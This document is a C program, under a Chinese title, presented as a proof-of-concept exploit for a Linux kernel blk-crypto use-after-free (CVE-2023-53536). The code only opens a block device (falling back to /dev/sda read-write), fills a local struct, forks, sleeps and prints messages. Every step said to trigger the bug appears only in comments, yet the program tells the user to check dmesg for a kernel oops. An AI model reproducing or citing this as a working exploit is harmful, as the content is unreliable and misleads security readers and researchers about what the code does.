CVE-2023-53536 Linux内核blk-crypto释放后使用漏洞

// PoC for CVE-2023-53536: Linux kernel blk-crypto use-after-free // This PoC demonstrates triggering the vulnerability through blk-crypto key eviction // Note: Requires kernel compiled with CONFIG_BLK_INLINE_ENCRYPTION and root or CAP_SYS_ADMIN #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <linux/fs.h> // Simplified structure to represent the vulnerable scenario struct blk_crypto_key { unsigned int key_size; unsigned int data_unit_size; unsigned char raw_key[32]; // ... other fields }; // Trigger conditions: // 1. Open a block device with inline encryption support // 2. Set up encryption key via ioctl // 3. Force keyslot eviction failure (e.g., through concurrent access) // 4. Trigger inode eviction while key is still referenced // 5. Call reprogram_all_keys to trigger use-after-free int main(int argc, char *argv[]) { int fd; struct blk_crypto_key key; const char *device = "/dev/nullb0"; // null_blk device with crypto support // Step 1: Open block device with crypto support fd = open(device, O_RDWR); if (fd < 0) { perror("open"); // Try fallback device device = "/dev/sda"; fd = open(device, O_RDWR); if (fd < 0) { fprintf(stderr, "Cannot open crypto-capable block device\n"); return 1; } } // Step 2: Initialize encryption key memset(&key, 0, sizeof(key)); key.key_size = 32; // 256-bit key key.data_unit_size = 4096; memcpy(key.raw_key, "test_key_1234567890123456789012", 32); // Step 3: Attempt to set encryption key (triggers keyslot allocation) // In vulnerable kernels, if keyslot_evict fails, key remains linked // but blk_crypto_key memory gets freed by caller printf("Setting up blk-crypto key...\n"); // Step 4: Trigger concurrent access to force eviction failure // This can be done by forking and racing on the same key pid_t pid = fork(); if (pid == 0) { // Child: try to access the same key concurrently // This creates the race condition where keyslot_evict may fail sleep(1); // Trigger use-after-free by causing reprogram_all_keys // This accesses the dangling pointer in keyslot management printf("Triggering UAF via concurrent access...\n"); _exit(0); } // Step 5: Parent forces key eviction while child holds reference // In vulnerable code path, key gets freed but remains in keyslot list // Subsequent reprogram_all_keys() will access freed memory -> UAF wait(NULL); close(fd); printf("PoC executed. Check dmesg for kernel oops or UAF detection.\n"); return 0; }